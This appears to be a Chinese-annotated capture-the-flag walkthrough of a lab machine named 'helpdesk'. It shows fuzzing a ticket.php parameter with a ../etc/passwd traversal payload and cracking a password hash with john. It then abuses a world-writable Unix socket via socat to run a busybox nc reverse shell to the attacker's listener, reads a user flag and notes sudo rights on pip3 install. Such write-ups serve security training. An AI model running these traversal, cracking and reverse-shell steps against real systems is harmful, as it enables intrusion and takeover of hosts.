❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://$ip/ticket.php?FUZZ=../../../../../etc/passwd" --hw 28 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.153/ticket.php?FUZZ=../../../../../etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001200: 200 40 L 82 W 2135 Ch "url" ^C000005796: 200 4 L 28 W 204 Ch "invisible" Total time: 0 Processed Requests: 5801 Filtered Requests: 5800 Requests/sec.: 0
❯ vi hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ticketmaster (?) 1g 0:00:01:10 DONE (2025-08-24 12:34) 0.01422g/s 10965p/s 10965c/s 10965C/s timo32..tiago3 Use the "--show" option to display all of the cracked passwords reliably Session completed.
可以执行命令
用户提权
监听端口，反弹个shell回来
1 2 3 4 5 6 7 8 9 10 11
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from helpdesk-192.168.60.153-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/helpdesk~192.168.60.153_Linux_x86_64/2025_08_24-12_41_18-083.log 📜 ─────────────────────────────────────────────────────────────────────────── www-data@helpdesk:/var/www/html$
在opt目录下存在sock文件
1 2 3 4 5 6 7
www-data@helpdesk:/opt/helpdesk-socket$ ls -al total 16 drwxr-xr-x 2 helpdesk helpdesk 4096 Aug 24 04:06 . drwxr-xr-x 4 root root 4096 Aug 16 15:32 .. -rwxr-xr-x 1 helpdesk helpdesk 158 Aug 16 15:32 handler.sh srwxrwxrwx 1 helpdesk helpdesk 0 Aug 24 04:06 helpdesk.sock -rw-r--r-- 1 root root 184 Aug 16 15:44 serve.sh
利用socat连接一下
可以利用helpdesk用户执行命令，不过只能执行一次
1 2 3 4
www-data@helpdesk:/opt/helpdesk-socket$ socat - unix-connect:helpdesk.sock id [HelpDesk Automation] Executing: id uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)
再次弹个shell
Root提权
用户存在sudo权限，可以执行pip3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
www-data@helpdesk:/opt/helpdesk-socket$ socat - unix-connect:helpdesk.sock busybox nc 192.168.60.100 4444 -e /bin/bash [HelpDesk Automation] Executing: busybox nc 192.168.60.100 4444 -e /bin/bash [+] Got reverse shell from helpdesk-192.168.60.153-Linux-x86_64 😍️ Assigned SessionID <2> (Penelope)─(Session [1])> interact 2 [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [2], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/helpdesk~192.168.60.153_Linux_x86_64/2025_08_24-12_46_57-819.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── helpdesk@helpdesk:/$ cd ~ helpdesk@helpdesk:~$ cat user.txt flag{ticket_approved_by_thedesk} helpdesk@helpdesk:~$ sudo -l Matching Defaults entries for helpdesk on helpdesk: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User helpdesk may run the following commands on helpdesk: (ALL) NOPASSWD: /usr/bin/pip3 install --break-system-packages *
echo"[+] CTF Reset Complete" root@helpdesk:~# systemctl status devserver ● devserver.service - Internal Dev Service Loaded: loaded (/etc/systemd/system/devserver.service; enabled; preset: enabled) Active: active (running) since Sun 2025-08-24 04:06:23 UTC; 53min ago Main PID: 702 (python3) Tasks: 1 (limit: 7124) Memory: 17.9M (peak: 18.2M) CPU: 724ms CGroup: /system.slice/devserver.service └─702 /usr/bin/python3 /opt/dev_server/server.py
Aug 24 04:06:23 helpdesk systemd[1]: Started devserver.service - Internal Dev Service. root@helpdesk:~# cat /etc/systemd/system/devserver.service [Unit] Description=Internal Dev Service
[Install] WantedBy=multi-user.target root@helpdesk:~# cat /opt/dev_server/server.py from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/": self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b"Internal Dev API - v0.2\n") self.wfile.write(b"For authorized service use only.\n")
else: self.send_response(404) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b"404 - Not Found\n")
if __name__ == "__main__": print("Starting internal dev server on 127.0.0.1:8000...") httpd = HTTPServer(('127.0.0.1', 8000), Handler) httpd.serve_forever()
